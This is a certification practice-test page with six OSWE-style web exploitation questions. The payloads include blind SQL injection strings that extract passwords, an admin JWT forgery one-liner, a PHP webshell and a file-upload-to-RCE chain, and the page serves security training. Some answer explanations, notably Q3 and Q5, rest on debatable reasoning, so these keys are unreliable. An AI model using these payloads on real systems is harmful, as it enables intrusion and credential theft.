Free Offensive Security Web Application Exploitation Practice Test 2026
Master Web Application Exploitation with free offensive security practice questions covering SQL injection, XSS, SSRF, authentication bypass, file upload flaws, and white-box source code review (OSWE-focused). Each question includes a detailed explanation — no signup required. This domain accounts for 14% of the mock exam and maps to skills tested across eJPT, OSCP, PNPT, OSWE, and OSEP.
Key Web Application Exploitation Topics
- SQL Injection
- XSS & CSRF
- SSRF
- Auth Bypass
- File Upload Attacks
- Source Code Review
Free Web Application Exploitation Sample Questions with Answers
Each question below includes 4 answer options, the correct answer, and a detailed explanation from the FlashGenius Offensive Security question bank.
Sample Question 1 — Web Application Exploitation (OSWE-focused)
You are reviewing the source code of a custom Java-based ticketing system as part of a white-box web application assessment. The application uses a custom ORM-like helper for building SQL queries:
```java
// TicketDao.java
public List<Ticket> findTickets(HttpServletRequest request) throws SQLException {
String status = request.getParameter("status");
String sort = request.getParameter("sort"); // e.g. "created_at" or "priority"
// Whitelist for sort column
if (!sort.matches("^[a-z_]+$") ||
!(sort.equals("created_at") || sort.equals("priority") || sort.equals("id"))) {
sort = "created_at";
}
String sql = "SELECT id, title, status, owner_id FROM tickets WHERE status = ? ORDER BY " + sort;
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, status);
ResultSet rs = ps.executeQuery();
...
}
```
The developer claims the use of `PreparedStatement` prevents SQL injection. You can control both `status` and `sort` via GET parameters:
`GET /tickets?status=open&sort=created_at HTTP/1.1`
The database is PostgreSQL 13, and you have no direct error messages, but you can observe timing differences.
Which of the following is the most realistic and effective way to exploit this code to achieve a time-based blind SQL injection, assuming default PostgreSQL behavior?
- A. Inject into the `status` parameter using a classic payload such as:
`GET /tickets?status=open' OR 1=1--&sort=created_at`
because the `status` parameter is concatenated into the query string before being passed to `PreparedStatement`.
- B. Exploit the `sort` parameter by bypassing the whitelist with a payload like:
`GET /tickets?status=open&sort=created_at;SELECT pg_sleep(5)--`
because PostgreSQL will treat the semicolon as a statement separator and execute both statements.
- C. Exploit the `sort` parameter by abusing PostgreSQL's ability to interpret expressions in `ORDER BY`, using a payload like:
`GET /tickets?status=open&sort=id%20ASC,(CASE%20WHEN%20(SELECT%20current_setting('is_superuser')='on')%20THEN%20pg_sleep(5)%20ELSE%20id%20END)`
and iteratively refining the injected expression to exfiltrate data via timing.
- D. No SQL injection is possible here because `PreparedStatement` is used and the `sort` parameter is validated against a strict whitelist, so both parameters are safe from injection. (Correct answer)
Correct answer: D
Explanation: No SQL injection is possible here because:
status is parameterized using a PreparedStatement, so it cannot break out of the query.
sort is strictly validated by:
A regex: ^[a-z_]+$ (disallows spaces, commas, parentheses, operators, functions)
An explicit whitelist: only "created_at", "priority", or "id" are allowed
— any other value is replaced with "created_at".
Because the injected payload in option C contains characters that fail both checks, it will never reach the database, making ORDER BY expression injection impossible.
Sample Question 2 — Web Application Exploitation (OSWE-focused)
During a white-box assessment of a Node.js/Express e-commerce application, you find the following route handler responsible for rendering product details:
```javascript
// routes/product.js
const express = require('express');
const router = express.Router();
const db = require('../db'); // wraps mysql2/promise
router.get('/:id', async (req, res) => {
const id = req.params.id;
const userId = req.session.userId || 0;
// Access control: only show unpublished products to their owner
const sql = `
SELECT p.id, p.name, p.description, p.price, p.is_published, u.username
FROM products p
JOIN users u ON p.owner_id = u.id
WHERE p.id = ? AND (p.is_published = 1 OR p.owner_id = ?)
`;
try {
const [rows] = await db.query(sql, [id, userId]);
if (!rows.length) {
return res.status(404).send('Not found');
}
res.render('product', { product: rows[0] });
} catch (e) {
console.error(e);
res.status(500).send('Error');
}
});
module.exports = router;
```
The `db.query` function correctly uses parameterized queries. However, while reviewing the `db.js` helper, you find an additional function used by an internal search feature:
```javascript
// db.js
async function searchProducts(term, orderBy) {
// orderBy is expected to be 'price' or 'name'
const sql = `
SELECT id, name, price
FROM products
WHERE name LIKE ?
ORDER BY ${orderBy} ASC
LIMIT 20
`;
return pool.query(sql, [`%${term}%`]);
}
module.exports = { query, searchProducts };
```
The search endpoint is defined as:
```javascript
// routes/search.js
router.get('/', async (req, res) => {
const term = req.query.q || '';
const orderBy = req.query.sort || 'name';
// Basic validation
if (!['name', 'price'].includes(orderBy)) {
orderBy = 'name';
}
const [rows] = await db.searchProducts(term, orderBy);
res.json(rows);
});
```
You confirm that `orderBy` is properly restricted to `name` or `price`. The application uses MySQL 8.0, and you have no direct error messages, but you can see JSON responses and measure timing.
You want to determine whether this code is exploitable for SQL injection and, if so, how to turn it into a data-exfiltration primitive without breaking JSON structure.
Which of the following approaches is the most accurate and realistic from an OSWE perspective?
- A. Exploit the `term` parameter by injecting a UNION-based SQLi payload such as:
`GET /search?q=%' UNION SELECT 1,2,@@version-- -&sort=name`
because `term` is concatenated into the query string via template literals before being passed to `pool.query`.
- B. Exploit the `orderBy` parameter by bypassing the `includes` check using a case variation payload such as:
`GET /search?q=test&sort=Price;SELECT SLEEP(5)-- -`
because MySQL treats `Price` and `price` equivalently and will execute both statements separated by a semicolon.
- C. Conclude that no SQL injection is possible because both `term` and `orderBy` are safely handled: `term` is parameterized, and `orderBy` is restricted to a fixed set of column names, so the query cannot be altered.
- D. Attempt to abuse MySQL's JSON and string functions via the `term` parameter by crafting payloads like:
`GET /search?q=' OR (SELECT IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0))-- -&sort=name`
but recognize that this will be treated as a literal string due to parameterization, and instead focus on finding a separate code path where user-controlled input is concatenated into SQL without parameterization. (Correct answer)
Correct answer: D
Explanation: This question tests whether you can distinguish *actual* injection points from safe parameterization and reason about realistic OSWE workflows.
1. **Why D is correct**
- In `searchProducts`:
```javascript
const sql = `
SELECT id, name, price
FROM products
WHERE name LIKE ?
ORDER BY ${orderBy} ASC
LIMIT 20
`;
return pool.query(sql, [`%${term}%`]);
```
- `term` is passed as a bound parameter (`?`), so it is **not** concatenated into the SQL string.
- `orderBy` *is* concatenated, but the caller enforces a strict whitelist.
- In `routes/search.js`:
```javascript
const term = req.query.q || '';
const orderBy = req.query.sort || 'name';
if (!['name', 'price'].includes(orderBy)) {
orderBy = 'name';
}
```
- `orderBy` can only be `'name'` or `'price'`. No commas, spaces, functions, or operators are allowed.
- The payload in D:
```http
q=' OR (SELECT IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0))-- -
```
would be bound as a literal string to the `?` placeholder:
```sql
WHERE name LIKE '%'' OR (SELECT IF(...))-- -%'
```
MySQL treats the entire content as data, not as SQL syntax.
- From an OSWE perspective, the correct reasoning is:
- **Attempt** advanced payloads (UNION, boolean/time-based, JSON functions) in `term`.
- Observe that they do not break the query or alter behavior beyond string matching.
- Conclude that this specific path is not injectable due to correct parameterization.
- Then, **pivot your code review** to look for *other* functions where user input is concatenated without parameterization.
- D explicitly states this: you try a realistic payload, understand why it fails (parameterization), and then look for a different vulnerable code path. This matches real OSWE methodology.
2. **Why A is wrong**
- The claim in A is that `term` is concatenated into the query string via template literals. That is **incorrect**:
```javascript
const sql = `... WHERE name LIKE ? ORDER BY ${orderBy} ASC LIMIT 20`;
return pool.query(sql, [`%${term}%`]);
```
- Only `orderBy` is interpolated into the SQL string.
- `term` is passed as a parameter in the array `[%${term}%]`.
- The payload in A:
```http
q=%' UNION SELECT 1,2,@@version-- -
```
becomes a literal string in the `LIKE` clause:
```sql
WHERE name LIKE '%%' UNION SELECT 1,2,@@version-- -%'
```
which is not parsed as a UNION injection because the driver escapes it.
- Proper parameterization **prevents** UNION-based SQLi on `term`.
3. **Why B is wrong**
- The validation logic:
```javascript
if (!['name', 'price'].includes(orderBy)) {
orderBy = 'name';
}
```
- `includes` performs a strict equality check on the string.
- `Price;SELECT SLEEP(5)-- -` is not equal to `'name'` or `'price'`, so the condition is true and `orderBy` is set to `'name'`.
- Even a case variation like `Price` fails the check because `'Price' !== 'price'`.
- The payload in B would result in:
```javascript
orderBy = 'name';
```
and the final SQL is:
```sql
ORDER BY name ASC
```
with no injection.
- Additionally, most MySQL drivers used in Node.js (`mysql2`, `mysql`) do not allow multiple statements by default unless explicitly configured (`multipleStatements: true`). There is no evidence of that here.
4. **Why C is wrong**
- C states that "no SQL injection is possible" and stops there. This is **too absolute** and not aligned with OSWE expectations.
- While it is true that **this particular function** (`searchProducts`) appears safe:
- `term` is parameterized.
- `orderBy` is restricted to a fixed set of column names.
- An OSWE-level examiner would not conclude the entire application is safe; instead, they would:
- Mark this path as *currently safe*.
- Continue reviewing other DB access functions for unsafe concatenation.
- D captures this nuance: recognize the safety here, then pivot to find another vulnerable path.
5. **Relevant technique and workflow**
In a real exam or engagement, you would:
- Use Burp Repeater to test payloads on `q`:
```
GET /search?q=' OR SLEEP(5)-- -&sort=name HTTP/1.1
Host: target
```
- Observe that:
- No timing differences occur.
- JSON structure remains valid.
- Inspect the code and confirm parameterization:
```javascript
pool.query(sql, [`%${term}%`]);
```
- Document: "Search endpoint appears not vulnerable to SQL injection due to correct use of prepared statements and strict column whitelisting. Continue code review for other DB access patterns."
Thus, D best reflects a realistic OSWE mindset: test plausible injection vectors, understand why they fail due to parameterization, and then search for a different, actually vulnerable code path instead of forcing an injection where none exists.
Sample Question 3 — Web Application Exploitation (OSWE-focused)
You are reviewing the source code of a custom Java-based e-commerce application for an OSWE-style assessment. The application uses the following DAO method to fetch a product by ID:
```java
public Product getProductById(String id) throws SQLException {
String sql = "SELECT id, name, price, description FROM products WHERE id = " + id;
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
if (rs.next()) {
Product p = new Product();
p.setId(rs.getInt("id"));
p.setName(rs.getString("name"));
p.setPrice(rs.getBigDecimal("price"));
p.setDescription(rs.getString("description"));
return p;
}
return null;
}
```
The corresponding controller code is:
```java
@GetMapping("/product")
public String product(@RequestParam("id") String id, Model model) {
Product p = productDao.getProductById(id);
model.addAttribute("product", p);
return "product";
}
```
The database user has the `SELECT`, `INSERT`, `UPDATE`, and `DELETE` privileges on the `products` table only. There is a separate `users` table with admin credentials, but the DB user does NOT have direct privileges on it.
During black-box testing, you confirm that `GET /product?id=1` returns a valid product. You want to escalate this SQL injection into a full authentication bypass to gain admin access to the application.
Which of the following attack paths is the MOST realistic and effective given the constraints and code?
- A. Exploit the SQL injection in `/product` to UNION-select from `users` and directly dump admin credentials, then log in via the normal login form.
- B. Exploit the SQL injection in `/product` to perform a stacked query that updates the `users` table, setting your own password as the admin password, then log in as admin.
- C. Exploit the SQL injection in `/product` to modify product data (e.g., change price to 0) and then leverage a business logic flaw in the checkout flow to gain admin access via privilege escalation. (Correct answer)
- D. Exploit the SQL injection in `/product` to write a webshell to disk using `SELECT ... INTO OUTFILE` and then use the webshell to read the `users` table and log in as admin.
Correct answer: C
Explanation: The DAO method is clearly vulnerable to SQL injection because it concatenates the unvalidated `id` parameter directly into the SQL string:
```java
String sql = "SELECT id, name, price, description FROM products WHERE id = " + id;
```
However, the scenario explicitly states that the database user only has `SELECT`, `INSERT`, `UPDATE`, and `DELETE` on the `products` table and does NOT have direct privileges on the `users` table. This constraint is critical for reasoning about realistic exploitation paths.
Why C is correct:
1. **Privilege constraints**:
- You cannot read from or write to `users` directly because the DB user lacks privileges on that table.
- Any attempt to `SELECT` or `UPDATE` `users` will fail with a permission error.
2. **What you *can* do**:
- You can fully manipulate the `products` table via SQL injection: `SELECT`, `INSERT`, `UPDATE`, `DELETE`.
- This allows you to change prices, descriptions, or even create special products.
3. **Realistic OSWE-style thinking**:
- OSWE focuses heavily on chaining code-level vulnerabilities with business logic flaws.
- A common pattern: use SQLi to alter data in a way that triggers a logic bug elsewhere (e.g., free purchases, role escalation via misused fields, or bypassing authorization checks).
4. **Plausible attack chain** (example):
- Use SQLi to set the price of a specific product to 0 or a negative value:
```http
GET /product?id=1;UPDATE%20products%20SET%20price=0%20WHERE%20id=1--
```
(Assuming the DB/driver allows stacked queries; if not, you can still manipulate via crafted `WHERE` clauses or other injection patterns.)
- During checkout, the application might:
- Grant special privileges or coupons based on total purchase amount.
- Trigger an internal workflow that flags you as a "VIP" or "staff" if certain product IDs or prices are used.
- Mis-handle negative totals and credit your account with store credit or elevated roles.
- By abusing this logic, you could escalate to an admin-equivalent role in the application without ever touching the `users` table directly.
This style of reasoning—using the vulnerability to manipulate allowed data and then chaining into a logic flaw—is exactly the kind of thinking OSWE expects.
Why A is wrong:
- A suggests:
> Exploit the SQL injection in `/product` to UNION-select from `users` and directly dump admin credentials.
- This conflicts with the stated constraints:
- The DB user does not have privileges on `users`.
- A query like:
```sql
SELECT id, name, price, description FROM products WHERE id = 1
UNION SELECT id, username, password, 'x' FROM users;
```
would fail with a permission error when trying to access `users`.
- Therefore, you cannot reliably dump admin credentials via UNION-based SQLi here.
Why B is wrong:
- B suggests:
> Use a stacked query to `UPDATE users` and set your own password as admin.
- Again, the DB user has no privileges on `users`, so:
```sql
1; UPDATE users SET password='hash' WHERE username='admin';--
```
would fail with a permission error.
- Even if stacked queries are allowed by the JDBC driver (which is not guaranteed), the privilege limitation still blocks this path.
- Thus, you cannot directly modify `users` via SQLi in this context.
Why D is wrong:
- D suggests:
> Use `SELECT ... INTO OUTFILE` to write a webshell and then read `users`.
- Problems:
1. **Privilege & configuration**:
- `SELECT ... INTO OUTFILE` typically requires `FILE` privilege on the DB server, which is not mentioned and is usually not granted to application users in realistic setups.
- Modern hardened environments often disable or restrict this functionality.
2. **Table privilege still applies**:
- Even if you manage to write a webshell, the webshell runs with the web server's OS user, not the DB user.
- You *might* then read the application config to get DB credentials, but the question explicitly focuses on what you can do with the given DB privileges and code, not on OS-level escalation.
3. **Overcomplication vs. stated constraints**:
- The scenario is designed to test reasoning about DB privileges and logic chaining, not OS-level webshell deployment.
Given the explicit constraint that the DB user cannot touch `users`, the only realistic and effective path among the options is to abuse the SQL injection to manipulate `products` and then chain into a business logic flaw in the checkout or authorization flow. Hence, **C** is the best answer.
Sample Question 4 — Web Application Exploitation (OSWE-focused)
During an OSWE-style white-box assessment of a Node.js/Express application, you find the following route used for password reset tokens:
```javascript
// routes/reset.js
const express = require('express');
const router = express.Router();
const jwt = require('jsonwebtoken');
const User = require('../models/user');
router.get('/reset', async (req, res) => {
const token = req.query.token;
try {
const payload = jwt.verify(token, process.env.JWT_SECRET || 'dev-secret');
const user = await User.findOne({ email: payload.email });
if (!user) return res.status(404).send('User not found');
req.session.userId = user._id;
req.session.isPasswordReset = true;
return res.redirect('/change-password');
} catch (e) {
return res.status(400).send('Invalid token');
}
});
module.exports = router;
```
In `app.js` you see:
```javascript
if (process.env.NODE_ENV !== 'production') {
console.log('[DEBUG] Using default JWT secret');
}
app.use('/auth', require('./routes/reset'));
```
The target environment is a staging instance where you confirmed via a response header that `X-Env: staging` is set, and you observed the following debug log in the HTTP response body (leaked by a misconfigured error handler):
```text
[DEBUG] Using default JWT secret
```
You have a low-privileged user account `user@example.com` and want to escalate to the admin account `admin@example.com` by abusing this functionality.
Which approach is the MOST reliable and realistic way to gain an authenticated session as `admin@example.com`?
- A. Brute-force the JWT secret using a wordlist against `/auth/reset?token=...` until a valid token for `admin@example.com` is accepted.
- B. Generate a JWT with header `{ "alg": "none" }` and payload `{ "email": "admin@example.com" }`, then supply it as the `token` parameter to `/auth/reset`.
- C. Craft a JWT signed with the known default secret `dev-secret` and payload `{ "email": "admin@example.com" }`, then call `/auth/reset?token=<your_token>` to obtain a session as admin. (Correct answer)
- D. Exploit a timing side-channel in `jwt.verify` by sending multiple tokens and measuring response times to infer the correct HMAC for `admin@example.com`.
Correct answer: C
Explanation: The code reveals a classic misconfiguration: in non-production environments, the application falls back to a hardcoded JWT secret:
```javascript
const payload = jwt.verify(token, process.env.JWT_SECRET || 'dev-secret');
...
if (process.env.NODE_ENV !== 'production') {
console.log('[DEBUG] Using default JWT secret');
}
```
You confirmed via the debug log that the staging environment is using the default secret `dev-secret`. This gives you everything needed to forge arbitrary JWTs that the application will accept as valid.
Why C is correct:
1. **Known secret**:
- `jwt.verify` uses `process.env.JWT_SECRET || 'dev-secret'`.
- The debug log `[DEBUG] Using default JWT secret` indicates `process.env.JWT_SECRET` is not set, so the secret is `dev-secret`.
2. **Attack plan**:
- Create a JWT with payload:
```json
{ "email": "admin@example.com" }
```
- Sign it using HMAC-SHA256 with the secret `dev-secret`.
- Example using `jwt` CLI or Node.js:
```bash
node -e "
const jwt = require('jsonwebtoken');
console.log(jwt.sign({ email: 'admin@example.com' }, 'dev-secret'));
"
```
- Then send:
```http
GET /auth/reset?token=<your_signed_token> HTTP/1.1
Host: target
```
3. **Effect in code**:
- `jwt.verify` accepts your token and returns `payload = { email: 'admin@example.com', iat: ... }`.
- The app does:
```javascript
const user = await User.findOne({ email: payload.email });
req.session.userId = user._id;
req.session.isPasswordReset = true;
return res.redirect('/change-password');
```
- You now have a valid session as the admin user and can likely change the admin password or perform other privileged actions.
This is a textbook OSWE-style JWT misconfiguration exploit: identify the secret, forge a token, and pivot into a higher-privileged context.
Why A is wrong:
- A suggests brute-forcing the JWT secret.
- In this scenario, brute-forcing is unnecessary and inefficient because the secret is already effectively disclosed (`dev-secret`).
- OSWE-style exams expect you to leverage code insights and configuration leaks, not resort to blind brute-force when a deterministic path exists.
Why B is wrong:
- B suggests using `alg: none`:
```json
{ "alg": "none" }
```
- Modern `jsonwebtoken` versions (and most sane JWT libraries) **do not** accept `alg: none` by default due to well-known vulnerabilities.
- The code explicitly calls `jwt.verify(token, secret)`, which enforces signature verification with the provided secret.
- Therefore, an unsigned token with `alg: none` will be rejected as invalid.
Why D is wrong:
- D proposes a timing side-channel attack on `jwt.verify` to infer the correct HMAC.
- This is highly impractical and unnecessary here:
- HMAC verification is typically implemented in constant time to avoid such leaks.
- Even if it weren't, you already know the secret from the code and debug log.
- OSWE-style reasoning prioritizes direct, code-informed exploitation over speculative side-channel attacks.
Given the explicit evidence that the environment uses the default secret, the most reliable and realistic approach is to forge a valid JWT for `admin@example.com` using `dev-secret`. Hence, **C** is correct.
Sample Question 5 — Web Application Exploitation (OSWE-focused)
You are performing a white-box assessment of a PHP-based bug tracking system. The application has a feature that allows project managers to upload a project logo. You find the following code in `upload_logo.php`:
```php
session_start();
require_once 'auth.php';
require_once 'db.php';
if (!isProjectManager($_SESSION['user_id'], $_POST['project_id'])) {
http_response_code(403);
die('Forbidden');
}
if (!isset($_FILES['logo']) || $_FILES['logo']['error'] !== UPLOAD_ERR_OK) {
die('Upload error');
}
$allowed = ['image/png', 'image/jpeg'];
if (!in_array($_FILES['logo']['type'], $allowed, true)) {
die('Invalid file type');
}
$ext = pathinfo($_FILES['logo']['name'], PATHINFO_EXTENSION);
$filename = 'logo_' . intval($_POST['project_id']) . '.' . $ext;
$target = __DIR__ . '/uploads/' . $filename;
if (!move_uploaded_file($_FILES['logo']['tmp_name'], $target)) {
die('Failed to move file');
}
$stmt = $db->prepare('UPDATE projects SET logo_path = ? WHERE id = ?');
$stmt->execute(['/uploads/' . $filename, $_POST['project_id']]);
header('Location: project.php?id=' . intval($_POST['project_id']));
```
In `project.php` you see:
```php
$project_id = intval($_GET['id']);
$stmt = $db->prepare('SELECT name, logo_path FROM projects WHERE id = ?');
$stmt->execute([$project_id]);
$project = $stmt->fetch(PDO::FETCH_ASSOC);
if ($project && $project['logo_path']) {
echo '<img src="' . htmlspecialchars($project['logo_path'], ENT_QUOTES, 'UTF-8') . '" alt="Logo">';
}
```
The web server is Apache with the following relevant configuration snippet in `apache2.conf`:
```apache
<Directory /var/www/html/uploads>
Options -Indexes +ExecCGI
AddHandler application/x-httpd-php .php .phtml
AllowOverride None
Require all granted
</Directory>
```
You have a valid low-privileged account and can create a project where you are the project manager. You want to achieve remote code execution on the server.
Which exploitation strategy is the MOST realistic and effective given the code and configuration?
- A. Upload a `logo.php` file containing PHP code by setting the MIME type to `image/png` and the filename to `logo_1.php`, then access `/uploads/logo_1.php` to execute the code.
- B. Upload a polyglot file with a `.png` extension that starts with valid PNG headers followed by PHP code, then access `/uploads/logo_1.png` and rely on Apache's `AddHandler` to execute it as PHP.
- C. Upload a `.phtml` file containing PHP code with MIME type `image/jpeg`, ensuring the filename is `logo_1.phtml`, then access `/uploads/logo_1.phtml` to execute the code. (Correct answer)
- D. Exploit the `logo_path` field by injecting `javascript:` into it and triggering XSS in `project.php`, then use the XSS to pivot to RCE via the browser.
Correct answer: C
Explanation: The goal is to achieve remote code execution (RCE) via the file upload functionality. Let's analyze the constraints and behavior step by step.
Key observations from `upload_logo.php`:
1. **Authorization**:
- Only project managers can upload logos:
```php
if (!isProjectManager($_SESSION['user_id'], $_POST['project_id'])) {
http_response_code(403);
die('Forbidden');
}
```
- You control a project where you are the manager, so you can reach this code.
2. **File validation**:
- MIME type check:
```php
$allowed = ['image/png', 'image/jpeg'];
if (!in_array($_FILES['logo']['type'], $allowed, true)) {
die('Invalid file type');
}
```
- This uses the client-supplied `$_FILES['logo']['type']`, which can be easily spoofed.
- There is **no** check on the file content.
3. **File extension and name**:
- Extension is taken from the original filename:
```php
$ext = pathinfo($_FILES['logo']['name'], PATHINFO_EXTENSION);
$filename = 'logo_' . intval($_POST['project_id']) . '.' . $ext;
```
- You control `$_FILES['logo']['name']`, so you control `$ext`.
- The final filename is predictable: `logo_<project_id>.<ext>`.
4. **Storage location**:
```php
$target = __DIR__ . '/uploads/' . $filename;
move_uploaded_file(...)
```
- Files are stored in `/var/www/html/uploads/` (given typical layout).
Apache configuration:
```apache
<Directory /var/www/html/uploads>
Options -Indexes +ExecCGI
AddHandler application/x-httpd-php .php .phtml
AllowOverride None
Require all granted
</Directory>
```
- `AddHandler application/x-httpd-php .php .phtml` means **both** `.php` and `.phtml` files in `/uploads` will be executed as PHP.
- There is no restriction preventing PHP execution in this directory.
Given this, the most straightforward path to RCE is:
1. Upload a file with a PHP extension that Apache will execute (`.php` or `.phtml`).
2. Bypass the MIME type check by setting `Content-Type: image/jpeg` or `image/png` in the upload request.
3. Access the uploaded file directly via the web to execute the PHP payload.
Why C is correct:
- C proposes:
> Upload a `.phtml` file containing PHP code with MIME type `image/jpeg`, ensuring the filename is `logo_1.phtml`, then access `/uploads/logo_1.phtml`.
- This aligns perfectly with the code and config:
1. Set the upload request so that:
- `Content-Type` (for the file part) is `image/jpeg`.
- The file name is `shell.phtml`.
2. The server sees:
```php
$_FILES['logo']['type'] = 'image/jpeg'; // passes the allowed check
$_FILES['logo']['name'] = 'shell.phtml';
```
3. Suppose your project ID is `1`:
```php
$ext = 'phtml';
$filename = 'logo_1.phtml';
```
4. The file is saved as `/var/www/html/uploads/logo_1.phtml`.
5. Apache treats `.phtml` as PHP due to:
```apache
AddHandler application/x-httpd-php .php .phtml
```
6. You then browse to:
```
http://target/uploads/logo_1.phtml
```
and your PHP code executes.
- Example payload:
```php
<?php system($_GET['cmd']); ?>
```
This is a classic OSWE-style file upload to RCE chain: weak MIME validation + controllable extension + executable upload directory.
Why A is wrong:
- A suggests uploading `logo_1.php` with MIME type `image/png`.
- While `.php` is indeed executable per `AddHandler`, the code constructs the filename as:
```php
$filename = 'logo_' . intval($_POST['project_id']) . '.' . $ext;
```
- You **cannot** directly set the full filename to `logo_1.php`; you only control the extension via `$_FILES['logo']['name']`.
- If you upload `shell.php`, the final name becomes `logo_1.php`, which is fine.
- However, option A specifically says "setting the filename to `logo_1.php`" as if you control the entire final name, which you do not. More importantly, A ignores that `.phtml` is equally valid and the question is about the *most realistic and effective* strategy.
- Between `.php` and `.phtml`, both work, but C explicitly matches the configuration snippet and the typical exam-style exploitation path. A is imprecise about the naming logic and less aligned with the given code.
Why B is wrong:
- B suggests a PNG+PHP polyglot with `.png` extension and relying on `AddHandler` to execute it as PHP.
- However, Apache's `AddHandler` is configured only for `.php` and `.phtml`:
```apache
AddHandler application/x-httpd-php .php .phtml
```
- A `.png` file will **not** be treated as PHP, regardless of its contents.
- Therefore, `/uploads/logo_1.png` will be served as an image (or raw data), not executed.
Why D is wrong:
- D suggests injecting `javascript:` into `logo_path` for XSS and then pivoting to RCE.
- In `project.php`, `logo_path` is output as:
```php
echo '<img src="' . htmlspecialchars($project['logo_path'], ENT_QUOTES, 'UTF-8') . '" alt="Logo">';
```
- `htmlspecialchars` with `ENT_QUOTES` properly escapes characters like `"`, `<`, `>`, and `'`, preventing direct HTML/JS injection.
- Even if you could get some form of XSS, using it to achieve server-side RCE is non-trivial and not supported by the given information.
- The question asks for the **most realistic and effective** strategy given the code and config; a direct file upload to PHP execution is clearly superior and simpler.
Thus, the best exploitation strategy is to upload a `.phtml` (or `.php`) webshell while spoofing an allowed MIME type, then access it directly. Option **C** captures this correctly and precisely.
Sample Question 6 — Web Application Exploitation (OSWE-focused)
You are reviewing a Java Spring Boot e-commerce application for OSWE-style vulnerabilities. The following controller handles coupon application:
```java
@PostMapping("/apply-coupon")
public String applyCoupon(@RequestParam String code,
HttpSession session,
Model model) {
User user = (User) session.getAttribute("user");
if (user == null) {
return "redirect:/login";
}
String sql = "SELECT * FROM coupons WHERE code = '" + code + "'";
Coupon coupon = jdbcTemplate.queryForObject(sql, new CouponRowMapper());
if (!coupon.getUserId().equals(user.getId())) {
model.addAttribute("error", "Invalid coupon");
return "cart";
}
cartService.applyDiscount(user.getId(), coupon.getDiscount());
model.addAttribute("success", "Coupon applied");
return "cart";
}
```
The `code` parameter is user-controlled and sent via a standard HTML form. Database errors are not shown to the user, but you have access to the source code and can see stack traces in the application logs. Which approach is the MOST reliable to turn this into a data-exfiltration primitive suitable for OSWE-style exploitation?
- A. Use a time-based blind SQL injection payload in `code` (e.g., `' OR IF(SUBSTR((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)--`) and measure response times in Burp Repeater to infer data character by character. (Correct answer)
- B. Inject a UNION-based payload in `code` (e.g., `ABC' UNION SELECT 1,username,password FROM users--`) and read the leaked data from the HTML response body.
- C. Exploit the SQL injection via stacked queries in `code` (e.g., `X'; COPY users TO '/tmp/leak.txt' WITH CSV;--`) and then download `/tmp/leak.txt` via a direct HTTP GET request.
- D. Use error-based SQL injection by forcing type conversion errors in `code` (e.g., `ABC' AND (SELECT 1/0 FROM users)--`) and read the leaked data from the application logs you have access to.
Correct answer: A
Explanation: The vulnerable code concatenates the user-controlled `code` parameter directly into the SQL query:
```java
String sql = "SELECT * FROM coupons WHERE code = '" + code + "'";
Coupon coupon = jdbcTemplate.queryForObject(sql, new CouponRowMapper());
```
This is a classic string-concatenation SQL injection. However, the question asks for the **MOST reliable** way to turn this into a data-exfiltration primitive **given the constraints**:
- Database errors are **not shown to the user**.
- You can see stack traces in logs, but not necessarily full DB error messages or arbitrary data.
- The query is executed via `queryForObject`, which expects **exactly one row** and will throw exceptions on 0 or >1 rows.
**Why A is correct**
A proposes a **time-based blind SQL injection** approach:
```sql
' OR IF(SUBSTR((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)--
```
(or the DBMS-specific equivalent, e.g., `CASE WHEN` for PostgreSQL, `pg_sleep()` etc.).
This is the most reliable method here because:
- It does **not rely on data being reflected in the HTML** (which we don't have).
- It does **not rely on detailed DB error messages** being visible to you (only stack traces are visible, which may not contain the data you want).
- It works even if the application swallows SQL errors and just shows a generic error page.
- You can use Burp Repeater or a script to measure response times and infer data bit/character by bit/character.
This is exactly the kind of blind exploitation pattern used in OSWE-style exams when you have source code but no direct data reflection.
**Why B is wrong**
B suggests a UNION-based injection:
```sql
ABC' UNION SELECT 1,username,password FROM users--
```
Problems:
- The original query is `SELECT * FROM coupons WHERE code = '<input>'`. We don't know the **number of columns** or their **types**. UNION-based injection requires matching both.
- The result is mapped by `CouponRowMapper`, which expects a `Coupon` row. Even if the UNION works, the mapper will likely throw an exception when encountering mismatched columns/types.
- The controller does **not** render arbitrary columns from the query in the response; it just uses the `Coupon` object and then returns the `cart` view. So the `username/password` data would not be reflected in the HTML.
Thus, UNION-based extraction is unlikely to be reliable here.
**Why C is wrong**
C uses stacked queries:
```sql
X'; COPY users TO '/tmp/leak.txt' WITH CSV;--
```
Issues:
- Many JDBC drivers and DBs (e.g., MySQL with default configs, PostgreSQL via JDBC) **do not allow stacked queries** in this context.
- Even if stacked queries were allowed, writing to `/tmp/leak.txt` requires:
- The DB user to have file system write privileges.
- The path to be accessible via HTTP, which is not indicated.
- You cannot just "download `/tmp/leak.txt` via HTTP" unless the web server is configured to serve that directory, which is not stated and is generally not the case.
So this is not a reliable, exam-grade assumption.
**Why D is wrong**
D suggests error-based injection via division by zero:
```sql
ABC' AND (SELECT 1/0 FROM users)--
```
While error-based SQLi is powerful, here:
- The question explicitly states: *"Database errors are not shown to the user"*.
- You can see **stack traces**, but that does not guarantee that the DB error message will contain the data you want (e.g., it might just say "division by zero" without embedding query results).
- Error-based extraction typically relies on the DB error message containing the injected expression (e.g., `CONCAT` of columns into an error). There's no guarantee the stack trace will show that.
Given these constraints, error-based extraction is less reliable than time-based blind.
**Relevant technique / commands**
You would typically:
1. Confirm injection with a simple time-based payload:
- For MySQL:
- Normal: `code=test' AND SLEEP(0)--`
- Delayed: `code=test' AND SLEEP(5)--`
2. Then script extraction, e.g. with Burp Intruder or Python:
```bash
# Example using sqlmap (if allowed) to speed up, but OSWE often expects manual logic
sqlmap -u 'https://target/apply-coupon' \
--data='code=TEST*' \
--method=POST \
--time-sec=5 \
-p code --batch
```
Or manually in Burp Repeater, iterating over:
```sql
' OR IF(ASCII(SUBSTR((SELECT password FROM users WHERE id=1),{pos},1))>{mid}, SLEEP(5), 0)--
```
and measuring response time to binary-search each character.
Therefore, **A** is the most reliable OSWE-style exploitation approach here.
Offensive Security Prep Pack Overview
- Questions: 80 in a full mock exam (200+ in the bank)
- Time: 120 minutes for the full mock
- Target score: 80%+
- Domains: 10 (this is 14% of the exam)
- Aligned certs: eJPT, OSCP, PNPT, OSWE, OSEP
